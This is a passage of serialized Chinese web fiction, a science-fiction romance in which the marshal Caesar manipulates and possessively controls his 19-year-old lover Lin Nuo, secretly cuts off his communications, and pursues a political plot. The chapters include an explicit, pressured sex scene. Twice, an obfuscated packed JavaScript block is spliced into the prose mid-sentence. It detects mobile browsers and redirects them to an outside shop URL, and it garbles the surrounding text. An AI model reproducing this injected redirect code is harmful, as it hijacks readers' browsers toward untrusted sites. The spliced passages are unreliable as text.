“你当真信任每个人都有作出正确选择的能力,小猫?联邦拥有百万亿人口,有多少人能像你一样,因天赋异禀被中央军校破格录取?有些人或许永远学不会识字,有些人一辈子生活在水沟里,当你跟他们提及Beta遭受的种种困境,他们只会与此取乐,因为在他们的世界里,那就是贫瘠的快乐来源。人类文明是极少数牧羊人谱写的历史,由像你一样的顶尖强者,支配无知的羊群书写而成。” 他低声说完,就见林诺慢慢转过头来,看他的眼神非常茫然。 “恺撒,你在说什么?” 林诺困惑地说,“人就是人,生而平等,不会是牛羊或别的什么东西,也不应该受任何形式支配。取笑我又如何?倘若生来住在水沟里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13102215|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人,也有机会接受我接受的教育,他们就会比我更早为他们的取笑行为感到羞耻,也或许能挖掘出比我更惊人的天赋。如果先一步接触到知识的人,都能像你一样无私传授给后来者,联邦或许早就能够变成天堂,信徒们也不需要再去德尔斐圣殿按时点卯了。” 恺撒微微张开嘴,又闭上了。 上一个没法被说服的轴脑筋,早已被他连同14万军士一起埋进异星。 但他看着轴脑筋小猫一直动着嘴巴,眼神倔倔地讲些幼稚话——在他看来的确是无比幼稚的——手掌不时缓慢收紧,又不断强迫自己松开,以免吓到对方。 自出生起,但凡他想要拥有的,总会以最惨烈的方式离开他。把他生在阴沟里的母亲,只来得及读两三页的《虫族战争史》,让他脱离感官超载的收音机,他毕生为傲的精神力,他的双眼—— 此后除了权力,不再有任何事物值得令他追寻。 然而林诺偏偏就要在这时候出现,偏偏就是个无法标记的Beta。 他无法彻底占有他的目光,无法标记他的身体,如今连他的思想,竟然都无法浸染半分。 银发男人手掌反复抚握林诺脖颈,既想要猛一发狠,掐晕他带回庄园,却又觉得少年倔倔的脸蛋,真该死没天理的可爱。 ……如果他真把林诺掐晕,他也会从此失去那双纯粹、炽热、真挚地爱着他的黑眼睛。 男人心中激烈交战,却发现林诺的脸色,突然变得霎白。 恺撒一愣,手掌本能松开。 “……怎么了?告诉我……” 他看见林诺慢慢弓起背,用拳头顶紧胃部,也立刻用手抚住林诺的肚子,“是胃疼?” 林诺紧咬着牙关,眉毛皱得很紧。 他一整天都没有进食,加上一直急火攻心,胃部突然如翻搅般剧痛。 恺撒确定他是胃疼,便快速起身,大步去给他接一杯温水。 回来途中,他让医疗官先去给林诺配药,就过来扶起林诺的下巴,把温水慢慢地喂进去。 “好点了吗?” 银发男人弓着腰,拇指抹干林诺唇角的水渍,低声责备他,“我说过让你吃东西的。” 林诺在他手里缓慢喝水,一会儿点头一会儿摇头,眉毛疼得紧拧着,就是非常痛苦的样子。 但即便如此狼狈,他也还是记得要跟恺撒道歉: “……我昨天太着急了,对你语气不好。我不是故意的,对不起。” “别说这些。药来了,小猫张嘴。” 医疗官送了药,回到自己的位置站着。 他看着统领过第三舰队的银发指挥官,弯腰低头,哄着少年吃药的样子,脸上显出一种非常惊讶的表情,还跟自己的同伴对视了好几次。 第三天正午,医疗官宣布小叔脱离危险。 林诺就像是被抽了所有筋骨,慢慢颓倒在候诊椅上。 恺撒把他转移到酒店房间,脱好靴子,抱到床上睡着。 他安置好林诺,就戴上耳麦,准备去套间里的办公区工作。 但皮革手套微微一紧。 是林诺抓住了他的手腕。 “……恺撒。我有话想跟你说。” 林诺神情非常疲惫,但他还知道,他在小叔病房门口等了多久,恺撒就在旁陪了多久。 他固然累且焦灼,但是至少能从小叔的事抽出一分心神时,他也希望能给恋人很好的反馈。 少年抓着对方的手,表情很认真。 “……真的很谢谢你。我、这个,你能不能——” 恺撒如今已经很了解他的别扭脾气。因为他特别喜欢听林诺讲情话,弄着林诺也要逼他说,现在林诺却开始主动学习投他所好,偶尔会偷感很重地讲给他听。 于是他勾着唇,微微俯身,任由黑发小猫在床上跪立起来,温暖的身体主动靠过来抱住他。 “要跟我说什么?嗯?” 他环着年轻恋人的腰,偏头吮了好几口发烫的耳朵。 “最好又是我爱听的肉麻话,平时怎么弄你也不肯说的那种……对着这边的耳朵说,那边还戴着耳麦呢。” 但他没有料到,林诺真的把温热的唇肉贴在他耳边,磕磕碰碰、但又非常努力地说了出来: “……我……我会……更加努力当个好恋人的,给、呃、给你最好的爱。谢谢你一直以来为我做的这些。我……” “……我很爱你,恺撒……从我9岁开始,你就一直是我的英雄……” 银发男人环抱着他,立在床边,一动不动。 不知是否众神赐予他的讥讽。 当少年挨在他一侧耳边,吐露着孺慕的爱语时,他挂在另一侧的耳麦,正传来参谋们在做会前准备时的交谈声。 “……德尔斐方面的暴动,现在被政府镇压下去了,死伤人数应该有上万……这是一个很好的迹象。为元帅一击扳倒最高议会,提供了极大的胜算……” “……等会应该要提醒元帅,该把‘暴风眼’计划正式提上日程。那个Beta孩子在巡礼演讲中表现平平,好在战绩还在,听说最近木星环城名气很大的平民战神也是他……” “……为什么元帅不打算曝光这个身份呢?这样一来,他作为‘暴风眼’的价值,将会百倍提升……” “……或许元帅有新的计划?稍后可以在会中提问……” 早在空中庄园时,林诺也有模有样地学他,趴在他枕边读书哄睡。黑发小猫给他读了很多本书。 有些是他念着念着就打瞌睡的政治历史,有些是他越念越亢奋的战神故事,恺撒大多都不怎么记得,因为他总喜欢看林诺抱着书页,神情专注地为他念书的样子。 然而在这一刻,他脑中却电光石火般闪过一个句子。 “‘……爱情是虚妄的容器……’” 林诺趴在他的臂弯里,表情就是一副完全没看懂,但不懂倒也能接着念的样子。 “‘……是容纳所有想象力的虚假幻影。有朝一日谎言破灭,神像崩塌,他便只能孤身一人,向火中蹒跚走去……’” 58.第 58 章 小叔从急重症病房转到特殊监护病房后,林诺每天都寸步不离地看护他。 叛军使用的白磷弓单,杀伤特性极其残忍,一旦沾上皮肉,就不会被轻易浇熄,直至把人烧穿成一具焦骨为止。 因此,除非训练有素的军人或特工,普通人遇上白磷弓单,只可能在地狱般的炙烤中死去。 林诺在给小叔擦身时,发现他身上的皮肉都已经烧得焦黑,看上去惨不忍睹,但头部、口鼻处的皮肤组织,却相对完好。 根据病情报告,他的肺里只有极少量有毒物质残留,情况甚至比那几位负责保护他的士官还要好些。 或许正是士官们拼死相救,才会让小叔这样的普通人逃出生天。 林诺心里默默猜想,又换了一盆清水,也捧到士官们的病房去。 于是恺撒来医院找林诺时,就看见他在帮着护工,转移治疗舱内的重伤士官。 小孩鼻尖挂着汗,双臂横抱着一具焦黑的Alpha躯体,用力到浑身肌肉都在发颤。 但他咬牙硬撑着,愣是闷声不吭。 等到护工清理好治疗舱,重新铺上一次性软垫,他才非常小心地屈膝俯身,把病人放回去。 “林诺。” 恺撒在病房门口唤了一声,让他出来。 林诺以为他有急事,脸蹭在肩上擦掉汗,就立刻跑出去。 跑到跟前,男人却又微笑着用香水手帕帮他擦手,似乎也并没什么要紧话要说。 这几天,林诺把全部注意力都放在林成彬身上,不仅不再跟恺撒同住,甚至有时恺撒就在他身前,把他牢牢控制在臂弯里,想要一个如从前般心无旁骛的拥抱,林诺的目光,也总会不自觉飘向病房方向,担忧着有没有到换药时间。 他当然曾遭受过不少忽视和白眼,可这忽视绝不能来自林诺。 看在林成彬把小猫养大成人、送到自己手里的份上,恺撒才能勉强忍耐暴郁。 但并不意味着,他还能忍受林诺再把精力分给跟他无亲无故的年轻Alpha下属。 “我给林先生带来了联邦最专业的护理小组。他们曾负责过我在星陨战役后的康复工作。” 恺撒捧住林诺脸蛋,细细端详着他的黑眼圈。 片刻后,才低声道:“可怜的小猫……短短几天,变得这么憔悴。让护理小组负责照看林先生,你就跟我回木星庄园去,好不好?” “……不行的,小叔伤得这么重,到现在也没醒。我希望能在这里看护到他醒来为止……” “如果你认为你的护理水平,已经能媲美专业的军人康复师,我一定不会阻拦你。但问题是,如果把专业的事情分给专业的人去做,对林先生的康复反而更有好处。” “那我就在旁边看着,不插手。我必须住在这里,我不可能让小叔一个人留在这——” “这是港口区最优秀的军部医院,收治的伤患每日都在暴增。你能确定你的24小时陪护行为,不会占用医疗空间吗?小猫是绝对不想干扰医护工作的,对不对?” “……如果真有必要的话,我把我的陪护床让给伤患们,睡在病房门口的长椅上。或者不睡也行,我只想亲眼确认小叔的情况变化……” “军人的基本素养,就是时刻保持作战状态。你的伤才刚刚好,每天睡在长椅上,吃饭也不好好吃,等到阿卜杜勒之流再一次来袭,你还能有多余精力保护别人?林先生尚且能住在戒备森严的军部医院,到时医院外有更多无能为力的人需要你,又该怎么办呢?我让护理小组跟你建立跨星球直联线路,他们每天直接向你汇报情况,就跟我回庄园去,好不好?” 林诺不说话了。在他养伤的时候,这种话赶话的争论也发生过许多次,他每次都是到了什么“军人的基本素养”时哑火。 但恺撒捧着他的脸,就见锯嘴小猫被他道德绑架,连舌头都打结,可两片薄薄唇肉上下一碰,还是往外跳出了个“不”字。 银发男人低低叹息,“唉,小猫。” “……反正我是讲不过你的。但我不听。我就要留在这。” 恺撒治下极严,但凡有人敢明目张胆违抗他,他就会施以果断的残忍报复。 但也不知道怎么的。这会儿林诺皱着眉头,又用倔倔的黑眼睛瞪他的模样,还是莫名其妙进入了“Top100可爱画面排行榜”。 “行。至少不要真的睡在医院里,我给你重新安排住处。” 最后恺撒宣告退让,在离医疗基地50米的地方,找了一个酒店套房让林诺住下。 这样一来,他还是能跟林诺住在一起,而林诺也能随时飞奔进医院去。 他在地球的私有产业,主要以医疗、矿产、军工基地为主,但酒店还真未必是。 大型酒店人员混杂,跟有大批部队驻守的军事要塞,和堪比航空母舰的空中庄园,都没法相比。 警卫队在执行任务,一时也没法带在身边,于是抱着林诺睡酒店的第一晚,恺撒就发现自己根本无法入睡—— 毕竟在20岁以前,他为了博取军功,去过太多惨绝人寰的前线了。 恺撒听着林诺的呼吸声到凌晨,还是不得不起身坐在门后,把手里的爆能枪上膛,才能靠着睡上一会儿。 “……恺撒。恺撒?” 某天凌晨,当恺撒依然离开大床,靠坐在门后浅睡时。 肩上轻微的触碰感,险些让他一把按倒林诺,直接拧断对方的脖子。 “咳、咳……恺撒!” 恺撒骤然松开手。 他撑在林诺身上,黑暗里的表情,显出一种错愕和懊悔来。 但只过了两秒,银发男人又迅速变换表情,恢复一切尽在掌控的模样。 “抱歉,掐疼了吗?我先去开灯。” 林诺却摇摇头,自己从地毯上坐起来。 他看上去既不显得恐惧,也不满脸狐疑,甚至不问恺撒大半夜坐在门口干嘛。 只是很自然地接过枪,说了句:“我来守后半夜,你去床上睡吧。” 银发男人停顿一下,没松手,只是微笑起来: “我只是在这里想些工作上的事。因为抱着你确实不太容易保持理智,所以我才来吹吹风。” 林诺听着他解释,闷头闷脑地嗯了一声,但还是没有转头就走。 他知道恺撒是在骗他。这两天因为忧虑小叔,他的睡眠也很浅,每当恺撒起身,就会把他弄醒。 起初他也奇怪,但并没有吱声,只是静静观察着,才发现对方真的有戒备整晚的习惯。 印象里,恺撒从未对他提起自己有战后ptsd,他从前收集的偶像资料里也没有这种迹象。 想起恺撒查阅他病情的生疏模样,应该也是真的没有。 但战争就是战争,任何人从战火中涉过,都会在身上留下痕迹。 有些人把灵魂留在前线,身体饱受折磨;有些人则把身体留在前线,灵魂却浑不自知。 林诺猜测,恺撒很可能属于后一种。 他经历过ptsd,知道这种毛病有多折腾人。 而恺撒是他喜欢的人,只要有可能,他愿意为他挡掉一切折磨。 “我……会保护你的。” 林诺瞅着地板,喉咙里咕噜咕噜地说,“你到床上睡吧。” 恺撒难得有点没弄懂,但表情轻微僵住。 从没人敢、或者有资格对他说“我保护你”,以是头一回听见这句话,他竟没能调动出最妥当的反应。 只是,男人握枪的手还是没松,另一只手抚上林诺的脸,循循善诱: “那我不忙工作了,我们一起回床上睡,好吗?还是你想让我抱你回去?那就抱住我的脖子……好孩子,听话。已经四点了。” “……我不听。我就……” 对恺撒这种抗辩技能点满的政治家,林诺的锯嘴当然很难占到便宜。 但恺撒发现,林诺最近找到了反向拿捏他的路子。一句“我不听”顶上来,能把他准备的八百条论据堵死。 恺撒垂眸看看他,最终还是叹着气松开枪,回床上去。 他以为林诺是英雄毛病又犯了,于是计划先在床上假寐,等到小猫脑袋点点打瞌睡,他就过去把人抱回来。 然而刚闭上眼。 大梦黑甜。 梦境闪过很多残损的画面,但都没有声音。 暴雨般的光束,星舰连环爆炸的火光,都在潜意识表层静默地漂过,没有触及他分毫。 但林诺出现的频率越来越高。 几乎每隔三到五枚画面碎片,就会有一颗黑发脑袋冒出来,东张西望的。 黑发小猫有时在红光闪烁的指挥舰里修面板,有时又会在尸横遍野的异星土地逡巡。 神经鳗撕开冥炎的护甲,一簇黏液般的辛辣细胞液,精准贯入他的双眼。 他知道从此刻起,他必输无疑。从前他玩命才挣回的一切荣光,都将在神经鳗侵蚀至脑部时荡然无存。 ……但该死的另有其人。不是仍在不远处挣扎痛嚎的杜兰德,不是第一舰队机甲特种部队,不是他—— 他固然是白毛怪胎,是所谓“卑贱的卡厄西斯”。可是终有一天,全人类都会对卡厄西斯屈膝俯首。 温热的球状物体脱落,神经鳗对脑部的侵蚀停止。 黑暗并未持续很久。 因为他只是轻轻眨了一下眼,就能看见身前的黑发少年。 林诺正低着头,帮他调整义眼的位置,眼神非常专注。 仿佛在此时此刻,再好的星系资源、再庞大的私人部队,都比不上他眼中的人珍贵。 “恺撒。我会保护你的……” 冥炎也在这样的注视中活过来了。 它袒露被侵蚀殆尽的胸甲,跌跌撞撞走过来要少年修。 黑发小猫好像总在忙着修修补补,修好恺撒的眼睛,又系着围裙,去给冥炎换新的心脏。 心脏换好了,于是从此以后,它也再不是不谙情爱的笨蛋机甲。 画面碎片像飞羽般散去,血色褪尽,只落下静谧葱郁的树影。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13191301|125660||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 少年在前面拉着他的手,脸蛋藏不住事,一眼就能看出为他准备了好东西。 恺撒微微勾住指尖,林诺就回过头来偷偷瞅他。 平时绷得酷酷的脸上,带着一丝很淡的笑。 午后的晴空白日,摇曳的树影和安定的爱,都在那双黑眼睛里了。 “滴——滴——” 一阵莫名的滴滴声响起,像某种刺耳的警铃。 手掌里攥着的那只手,突然开始奋力挣脱。 他发誓,他已经用尽全力抓紧,但林诺的手,还是轻易从他掌心溜走。 少年最后回头看他一眼,脸上是一种骇人的冷漠与决绝。 随后,他就像敏捷的黑豹一样脱离,三两下窜上大门边的杨树,一下就不见踪影了。 庄园的葱郁树影轰然坍塌。 原本静谧无声的梦境,突然变得嘈杂难忍。 那些残酷的光束洪流,战争的炮火,以及神经鳗侵蚀神经的剧痛——前仆后继而来。 它们击碎由爱意筑成的屏障,带着滚滚恶意,彻底吞没了他。 ……那是他原本能够忍受的一切。 “滴——滴——” ——恺撒骤然睁开眼睛。 他眯起义眼,看了会儿天花板,意识到是自己的工作光脑在响。而窗外早已天光大亮。 在今天以前,他还从未有过一觉酣睡到天亮的体验。 银发男人起身,却并没有去拿工作光脑。 而是将阴鸷的目光,闪电般射向房门处。 林诺依然守在那。 他脊背挺直,纹丝不动地坐着。 或许是夜里太冷,少年还把外套拉链拉到最顶上,半张脸蛋埋在里头。 恺撒的爆能枪,正被他摆在膝上。 指尖时刻触着枪把,是一个真的在好好守卫恋人的姿态。 林诺只是在闭目养神,其实并没有完全睡着。 他也能听见光脑滴滴响,但想起恺撒昨天是四点多才睡着的,便也没去出声叫醒。 但房间地毯传来轻微的脚步声。 一道黑影由远及近,笼罩住他。 “……早上好,恺撒。” 林诺睁开眼,迷迷瞪瞪地抬头说,“昨天睡得好吗?” 他对恺撒的信任如此根深蒂固,以至于当男人单手圈住他的腰,抱起来时,他的第一反应,还是主动去搂恺撒的肩膀。 “怎么了?呃……!” 下一秒,他整个人都被抱上鞋柜,上衣向上掀到锁骨。 已经不复青涩的部位,被对方一口叼住。 银发男人的动作,不太像往日那样极富技巧、游刃有余,反倒显出一种陌生的急躁来,似乎是想要确认什么。 林诺其实不太有兴致,他这些天为了小叔心力交卒,又刚刚守着恋人熬了个大夜。 但当恺撒的唇舌移至下方,用自下而上的眼神询问他。 他还是配合地向后仰倒,默默把膝盖抬起来了。 “……为什么不专心。小猫不喜欢了吗?” “啊?” 林诺挡着脸喘息,闻言,露出一种非常懵然的表情,“我今……唔!我今天有点累……” “为什么觉得累?” 恺撒双手扣紧他的腕骨,紧紧盯着他的表情,义眼在眉弓阴影下,爆发出一种非常可怕的幽光来。 “因为跟我在一起才觉得累?” “……啊???” 林诺不明白恺撒一大早发疯的理由,也来不及思考。 因为他坐不稳晃动的鞋柜,结果不小心滑了下去,差点戳个对穿。 期间,工作光脑仍在滴滴作响,但恺撒双眼紧盯着林诺的脸,一刻也没来得及去接。 快要结束时,他再次一口咬住少年Beta的腺体,苦辣的信息素,连同下方一起暴烈灌注。 林诺受不了地攥住拳头,眉心也发着颤蹙紧。 这一回很急,所以他连衣服也没被脱,掀起的外套下摆和裤腰间,露着一大段冷白,很漂亮地铺陈在恺撒身上。 ……然而无济于事。 不成功的标记行为,没有哪怕一丝一毫,可以缓解那如地狱般的恐慌感——那甚至都已经不是焦灼。 而是一种不知何时踏空、堕入虚无的恐慌。 林诺去洗澡时,恺撒拿起他的工作光脑。 参谋们没能联系到他,于是照常整理了文字记录。 是关于“暴风眼”计划的筹备进程。 ……一个早在遇到林诺5年前就已经制定的计划。 一个用以撬动联邦基石的残忍方案。 偏偏就在这时。偏偏就是林诺。 恺撒没有立即答复。 他抵紧眉弓,指节用力到发白,突然一抬手,把光脑丢到很远的角落去。 但当浴室水声渐停,那颗黑发脑袋,马上就要回到他的视野范围内时。 恺撒起身,走向角落。 缓慢把工作光脑攥回手中。 59.第 59 章 “……三千多年前的古地球,是诸国分立、冲突激烈的时代。一位远航者偶然在木星发现稀有矿‘能源晶’,而能源晶提供能源的效率,是核能的数万倍…… “……为了争夺能源晶的开采权,古地球各国爆发数次太阳系战争,最终决定成立一个超越国界的地球联邦组织,统一管理能源晶的开采与分配——这就是第三行星联邦的前身。” 当林诺还住在星环城体育馆旁的安全屋里时,他总会在考前跟恺撒膝盖碰着膝盖,看录课复习。 他看着课件,莫名入了神似的,连光子笔都不再转动。 而对面的银发恋人,目光从满屏的工作中抬起,伸手来刮了下他的鼻尖:“不是明天考试?又走神了。” 他那时刚跟恺撒确定关系,比起恋人,对方更像一个尊敬的师长,所以被刮了鼻尖,也就讷讷地低头复习了。 但心里盘旋的一点好奇,让他忍不住想跟恺撒搭话:“你觉得那个远航者,他自己知道吗?” “哪个远航者?” “发现能源晶的那个远航者。他当时就站在人类文明的转折点上,以他拿起的那块能源晶作为分界,拿起前是古地球时代,拿起后,人类文明就朝第三行星联邦时代一去不回头。如果他自己知道这一点,他还会选择去捡那块能源晶吗?” 恺撒勾唇。 他一只手揉捏着林诺的掌心肉垫,另一只手还在光脑上工作,少顷,才抬眸看向林诺: “人类连自身命运转折的那一刻,都未必能有自知,更遑论自己身处的庞大历史洪流。如果我现在告诉你,在我们结识以前,人类文明会停滞在联邦时代,而在我们结识以后,它将朝银河独裁时代驶去。小猫还会在那一天,傻乎乎跟着顾问去宙斯要塞吗?” 银发男人说完没半秒,就稍显突兀地站起身来,捧起林诺的脸接吻。 “……当然。我是在开玩笑。” “……长官,你不用说我也知道是在开玩笑……” 当林诺拖着疲惫的身体,从医院返回酒店时。 街道两侧的巨型光幕,让他骤然停住脚步。 ——光幕上都是他的脸。 准确来说,不仅仅有他的脸。在他的入学照片、联赛视频、夺冠记录旁,是木星环城里扛着火力杀敌的老式机甲。 “……据悉,木星环城遭遇恐怖袭击时,曾有数名机甲英雄进入敌占区,凭一己之力抵抗叛军力量,拯救惨遭挟持围困的平民人质……近日,星网已证实,其中一位被誉为‘木星环城战神’的传奇机甲师,竟是此前在机甲联赛展露头角的天才Beta少年……” “……林诺不仅在机甲联赛的赛场上,展现了震撼联邦的惊人实力,更在关键时刻挺身而出……作为一个尚未从军校毕业的机甲系新生,他在救援过程中,共计击败叛军机甲13台,摧毁将近三个地面班的火力,使无数受困的环城难民成功逃离……” 林诺猛地后撤军靴,朝小叔的病房奔去! 他没跑上几层楼,一头撞进带有苦辣香水味的怀抱里。 冰凉的皮革手套抚上他的脸,让他镇定下来,然后,他听见恋人沉稳的声音: “不要慌。我马上带你们转移。” 即便缺乏家族培养的政治嗅觉,但看护小叔的这几天,已经足够让林诺明白地球局势有多混乱。 跟被恺撒接管的木星环城不同,地球如今正被暴民、叛军残部、星盗全方位渗入,媒体却在这时大肆曝光他在木星环城救援的事—— 这无异于把他和小叔架成明牌靶子。 一整队持枪士兵把他们护送进入地下通道,当林诺推着小叔的医疗舱上防弹车时,他手腕上的光脑都快被打爆了。 “……学弟,你到底怎么回事?!” 对面是曾跟他一起参与救援的学长,木星环城遇袭事件过后,他就一直在家族的保护下养伤。 见林诺终于接听,他简直又惊又怒,劈头盖脸质问起来。 “为什么到处都在播报你在木星环城的事?你到底跟谁说漏了嘴?你知不知道叛军残部不敢动恺撒元帅,就在外太阳系重金悬赏我们的头?!联邦现在时局这么混乱,政府镇压暴乱都自顾不暇,怎么可能顾得上你?就算你真的很想炫耀,就不能忍过这一阵吗?” “别胡说。他根本不是爱炫耀的性格。” 蓝方指挥官加入通讯频道,他是16强选手里最年长的一位,语气稳重很多。 “林诺学弟,你仔细想想,在救援过程中有没有向谁暴露身份?或者所有知道这件事的人里头,谁最有动机这样做?你当初选择帮你打掩护的同班同学,他们有没有人对你怀恨在心?” “是我们当初想法不够谨慎,连累林诺学弟了。既然想要跟叛军正面对抗,在离开预警舰队列时,就不能做得那么高调。” Alpha学姐也加入通讯。但她仔细想了一下,又狠狠皱眉。 “……不对。像这种铺天盖地的针对性宣传,本身就有引导舆论倾向的目的,这根本不是军校里谁跟林诺有私仇就能解释的。学弟,你要仔细想想谁能从你的声名大噪中获利,尤其千万当心身边——” 她话音未落,林诺的光脑突然熄屏了。 他的新光脑,是在情侣手环摔坏后,恺撒重新送给他的,虽然外观和刻字都分毫不差,但性能当然优异得多,跨星系同步通讯不在话下。 但不知道为什么,偏偏这种时候失灵。 “我们正在进入地下的工防设施。” 恺撒在他耳边低声解释,在林诺看不见的地方,把控制光屏无声关闭。 他的手紧紧拢着林诺的侧腰,力道比平时更重。比起安抚,更像是在禁锢。 “这里从前是秘密军事基地,所以墙壁里有屏蔽通讯的残留物质。” 林诺点了点头,很信任地把光脑关掉。 他被恺撒箍着腰,但学姐的话仍在萦绕耳畔。 林诺并非议员家庭出身,对联邦的政府斗争,从来不如学校里的Alpha敏感。 可这件事已经不仅关乎他自己,还关乎他唯一的亲人。他凭借跟恺撒巡回演讲时硬记下来的政治关系网,开始在脑中一个一个排查姓名。 “小猫,看着我。在想什么?” 可不知怎么的,今天的恺撒莫名显得比平日急躁,总在不停打断他的思绪。 见林诺始终沉默不语,恺撒箍着他侧腰的手,一下上移到他的颈后,把少年的脸转向自己。 “什么都不用担心,也不用思考。把一切交给我就好……听话,别再想了。” 恺撒低声说着,俯身过来吻林诺的唇。 可他们正坐在防弹运输车的后排,后面是小叔的医疗舱,前排是荷枪实弹的护送士兵,林诺根本没有在这种环境下跟恋人亲热的心情。 他由着恺撒吮了两下自己的舌尖,就抬手抵住恺撒的胸口,想把对方推开。 但刚展露出推开的意图,他的后颈被扣得更紧了。 地下隧道的灯光忽明忽灭,偶尔映照出恺撒英俊的五官轮廓。 那张林诺在枕边看过无数次的脸上,有一种极度陌生的暴郁。 “小猫要想事情也可以。” 恺撒低声细语,阴影中的义眼紧盯着他,“但至少告诉我你在想什么。” “我正在想谁会有动机把我捧到这个位置,跟地球始终难以平息的暴乱又有什么关系。进入敌占区救援的机甲师不止我一人,却偏偏只挑我一个人大肆宣传。我身上有什么区别于他们的特点,能让这样做的人有利可图?” 林诺紧皱眉头,在恺撒的手掌里说着自己的想法。 他才19岁,成长速度却远超恺撒的想象。 曾经懵懵懂懂乱喝顾问给的水,险些被骗上财阀的贼船,如今却已经能顶着常人不能忍受的压力,冷静分析事态格局。 “都是中央军校的学生,都是机甲联赛选手,我有什么不同?除了……我是Beta,且出身普通人家庭。” 紧接着,他又缓慢摇头,自言自语道:“我是Beta,可是又有什么关系?这里一定还缺某种关键信息……” 恺撒的手掌,始终在他脖颈附近游移。 皮革手套有一定厚度,因此一直埋头沉思的少年,并不会察觉他的手有轻微的颤意。 ……怀揣着定时炸弹的心情也莫过于此了。 当隧道里的应急灯又一次闪过后座,他险些产生幻觉,看见黑发小猫抬起头,露出如梦中一样冷酷的眼。 他曾决定要瞒骗到底。即使骗一辈子,也会牢牢把林诺握在掌心。 而他原本也应该极擅长这点才对—— 毕竟联邦政府都被他玩弄于股掌之间,他无论如何也不会在一个19岁的孩子面前败下阵来。 ……然而恐慌感。 恐慌感如影随形。 “我会去调查的,也会保护好你和林先生。林诺,你会完全信任我,并永远留在我身边的。对吗?” 恺撒轻声问他。 他的语调很温柔,但无论是箍在林诺后颈还是侧腰上的手,都如铁铸般纹丝不动。 “别忘记当初是你亲口提出确定关系。小猫应该对自己说的每一句话负责,对不对?” 林诺听不懂第一句话和后面的问题有什么关系,更没听懂这些问题,和他当下面对的状况有什么联系。 可他跟恺撒磨合也有挺长一段时间了,年长恋人成熟稳重的外表下,实际有着不小的安全感方面的缺陷,这一点他也知道。 于是,即便当下思绪如麻,也仍在对现状深深焦虑,但林诺还是认真地握着他的手,安抚他说: “我对我说的每一句话负责。既然你不担心被我连累,我也不会因为这种事情就离开你的……” “好小猫。” 恺撒依旧低头吻他,从唇瓣一路缱绻吻到喉结,深深嗅着少年颈间的气味,“我要你永远记得自己说过什么……” 可是吊诡的舆论风潮还在继续。 木星环城遇袭事件,已经大幅度削减了联邦政府的公信力,民众愤慨的发声,被有意策划成意图颠覆联邦的暴乱,遭到秘密警察的血腥镇压。 暴怒,愤懑,无处宣泄的绝望,充斥在地球的每一处街头,此时林诺却作为木星环城的战神横空出世。 人们似乎终于找到了讨伐政府的绝佳武器,面对秘密警察的枪口,将林诺的名字高高举起。 “……我就知道!从联赛起我就知道了……联赛不过是诺神的起点,他一直是我们所有人的骄傲!而你们又做过什么?他在木星环城冒险救援时,你们却选择把枪口对准我们,对准供养你们的联邦公民!” “……联邦早已经烂透了,现今政府里必须有林诺这样的人,联邦才能断尾求生……” “任何人要敢诋毁污蔑诺神,最好当心自己的小命——你在跟联邦上百亿Beta作对!” “……如果那孩子现在就满22岁该多好啊!该死的联邦宪法,非得22岁才能参选议员!我发誓,不管未来他想不想参政,我都会集全环城之力,一票票把他送上首席执政官的位置……” 林诺猝不及防被推上风口浪尖,无论是叛军残部还是秘密调查局,都在密谋针对他策划暗杀。 为了确保安全,小叔被转移至联邦十三舰队的驻扎基地,而他要跟恺撒不断更换安全屋,确保不会被任何人了解行踪。 被迫跟小叔分开的那天,林诺在小叔的医疗舱前坐了很久。 几位比小叔伤得更重的护卫军官,都在转移期间陆续醒了过来,可小叔却一直在昏迷。 他沉默注视自己唯一的亲人,也不知道当下能说什么,就把手伸到领口,拽下挂在脖子上的“狗牌”,握进小叔微冷的手里。 作为联邦军人预备役,每个收到军校录取通知书的孩子,都能在开学前领到属于自己的军用标识牌。 上面记录着身份识别ID、血型、出生日期等等,完全仿制现役部队的标识牌打造,是成为军人的第一个荣誉象征。 他仍记得,当年小叔带着他东奔西跑,到处问他的感官超载症会不会影响特招,又全程陪同他到木星环城参加特招考试。 录取通知书连带狗牌送到家的那一天,小叔也跟他一样高兴到发癫,像抡溜溜球一样抡着中央军校发的狗牌,到处砸邻居门炫耀: “我家小宝考上啦!我家小宝考上啦!” 结果乐极生悲,一个屁股墩滑倒在楼梯上,被无语的邻居们抬进医院躺了一个月。 当年打着石膏还不忘跟医生们炫耀的小叔,就跟当年抱着录取通知书不撒手的小林诺一样,只知道遥想光辉灿烂的未来,却对未来的发展一概不知。 林诺把自己的狗牌握进他手里,握紧了,良久,才缓缓起身。 “来这里,小猫。” 恺撒早已等在门口,见林诺失魂落魄,就张开双臂,把他缓缓拢进怀里, “这里是十三舰队的驻扎地,所有指挥官都由我提拔,林先生留在这里,比跟着我们不停转移要安全多了。等风头过去,林先生的伤养好,你们还会再见面的。” 他哄好了林诺,又嘱咐杜兰德带林诺到车上去,却没有立刻跟出去。 恺撒依然站在病房中央,并将阴鸷的目光,投向林成彬的治疗舱。 即便在成为终身执政官后,恺撒的多疑也未减轻半分,更别提现在。 医疗官告诉他,林成彬的伤势日趋好转,一般伤患到这个阶段,就会逐步清醒,不至于昏迷这么久。 在临走前,他需要再确认一遍。 “……当然。我会确保他们都在我的控制范围内,直到这一切尘埃落定。” 恺撒接起一道通讯,却并没有离开病房去听。 而是靠在病房的墙壁上,抱着手臂,嗓音低沉地通话。 “事情结束后,记得找两个口风紧的人善后。林诺知道我们太多事,到时做得隐蔽些,不要惊动民众。” 